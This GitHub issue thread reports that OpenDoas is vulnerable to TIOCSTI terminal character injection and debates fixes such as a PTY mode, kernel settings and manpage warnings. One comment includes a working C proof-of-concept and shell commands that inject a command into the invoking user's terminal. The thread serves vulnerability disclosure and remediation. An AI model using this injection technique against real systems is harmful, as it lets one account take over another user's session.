New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
security vulnerability: TIOCSTI tty character injection #106
Comments
|
Note that the Linux kernel now supports disabling TIOCSTI as of version 6.2 (ref. It can be disabled at kernel compile time or afterwords with a sysctl. |
|
I would like to confirm that OpenDoas 6.8.2 is affected. To reproduce, I did this: $ sudo tee -a /etc/doas.conf <<<"permit nopass ${USER} as nobody # added by ${USER} on $(date -I)"
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>
int main(void) {
const char *text = "id\n";
while (*text)
ioctl(0, TIOCSTI, text++);
return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ doas -u nobody /tmp/TIOCSTI # runs id(1) as ${USER}/${DOAS_USER} rather than nobodyThe demo code is inspired by containers/bubblewrap#142 . |
|
It turned out now — thanks to @jwilk's ttyjack — that it's not just |
|
Someone apparently requested a CVE and got CVE-2023-28339 for this. |
|
I don't really know what to do about that.
|
Isn't protecting ~99% of users better than protecting none of them? |
|
@Duncaen thanks for your reply, that's a nice summary. slicer69/doas is in the same situation and I believe it's not unlikely they will go for the PTY approach to have FreeBSD in the fixed boat. ptyas could be a good place to see a PTY-based protection implemented. CC @slicer69 |
|
PS: @Duncaen what about default PTY and a new option |
|
@hyder365 it may be worth noting that both util-linux and GNU coreutils have reverted their mitigation based on libseccomp in the past: At least util-linux probably did not have to consider support for FreeBSD. |
The issue should at least be documented like the su manpage does. What to do afterwards is is a different question. There is no need to wait with documenting until the bikeshedding for the best solution is done. |
|
@e00E bikeshedding is not the adequate term here and documentation on broken defaults has as little value as it has in sudo and su: not zero, but doesn't fix the key issue. Please be part of the solution here rather than just increasing pressure. I'm with you that this should have been fixed long ago but a day or two more will not change everything now. And rushing a bad fix now will have the bad fix end up everywhere and then the improved next iteration may not get enough attention to be applied everywhere later too. So the first shot is important here. Thanks for your understanding. |
|
You're right that bikeshedding wasn't the right word. What I meant is that this is going to be a long and difficult discussion and I'd like the manpage to mention the issue in the meantime. |
This is written from the perspective of Arch Linux. Some man page quotes or commands might be different on other distributions. I am using the opendoas package.
Excerpt of the
sumanpage documenting the--ptyargument:OpenDoas is vulnerable to "security attacks against terminal file descriptors". I have have verified the TIOCSTI attack on my system and expect that it would still work if compiled from source.
OpenDoas does not have a
--ptyequivalent. There should at least be a clear warning in the manpage that running commands as another user (with a tty attached like when running interactively), allows that user to take over the current user running OpenDoas. Few people are aware of this.https://ruderich.org/simon/notes/su-sudo-from-root-tty-hijacking has a good summary of the TIOCSTI issue. Note that this page highlights going from root to a non root user but the vulnerability also exists going from a non root user to another non root user.
containers/bubblewrap#142 , https://news.ycombinator.com/item?id=17311808 and other links from there has more context.
Other tools like su and sudo have been vulnerable to this in the past and did not always have the
--ptyargument.OpenBSD is not vulnerable to the TIOCSTI attack because they have (rightly, I wish Linux did too) disabled this syscall. Even so, the manpage quote mentions "other attacks" that I haven't seen documented clearly, which might still be serious.
The text was updated successfully, but these errors were encountered: